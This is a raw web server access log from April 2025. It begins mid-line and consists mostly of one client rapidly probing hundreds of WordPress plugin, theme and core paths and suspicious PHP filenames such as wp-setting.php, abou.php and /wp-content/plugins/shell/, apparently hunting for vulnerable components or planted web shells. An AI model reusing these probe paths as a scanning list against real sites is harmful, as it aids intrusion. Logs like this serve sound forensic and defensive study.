"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 17.241.75.37 - - [24/Apr/2025:17:19:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.75.37 - - [24/Apr/2025:17:19:12 -0400] "GET /search-engine-optimization-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 40.69.216.239 - - [24/Apr/2025:17:20:51 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:20:52 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:20:53 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:20:54 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:20:55 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:20:55 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:20:56 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:20:58 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:20:58 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:20:59 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:00 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:02 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:03 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:05 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:05 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:06 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:07 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:07 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:08 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:08 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:09 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:10 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:10 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:11 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:11 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:12 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:12 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:13 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:14 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:14 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:15 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:16 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:16 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:17 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:17 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:18 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:19 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:19 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:20 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:21 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:21 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:22 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:23 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:24 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:25 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:26 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:26 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:27 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:28 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:28 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:29 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:29 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:30 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:31 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:31 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:32 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:32 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:33 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:34 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:34 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:36 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:36 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:37 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:38 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:38 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:39 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:39 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:41 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:41 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:42 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:42 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:43 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:44 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:44 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:46 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:46 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:47 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:48 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:48 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:49 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:49 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:50 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:51 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:51 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:52 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:52 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:53 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:54 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:54 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:55 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:56 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:56 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:57 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:58 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:21:59 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:00 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:00 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:02 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:03 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:04 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:04 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:05 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:05 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:06 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:07 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:07 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:08 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:09 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:09 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:10 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:11 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:11 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:12 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:12 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:13 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:14 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:14 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:15 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:15 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:16 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:17 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:17 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:18 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:18 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:19 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:19 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:20 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:21 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:21 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:22 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:22 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:23 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:24 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:25 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:25 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:26 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:27 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:28 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:28 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:29 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:29 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:31 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:31 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:32 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:32 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:33 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:34 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:34 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:35 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:35 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:36 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:37 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:38 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:38 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:39 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:39 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:40 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:40 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:41 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:42 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:42 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:43 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:43 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:44 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:45 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:46 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:47 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:48 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:48 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:50 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:50 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:51 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:51 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:52 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:53 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:54 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:56 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:57 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:58 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:22:59 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:00 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:02 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:03 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:04 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:04 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:05 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:06 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:06 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:07 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:08 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:09 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:09 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:11 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:11 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:12 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:12 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:13 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:14 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:14 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:15 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:16 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:16 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:17 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:18 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:18 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:19 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 40.69.216.239 - - [24/Apr/2025:17:23:20 -0400] 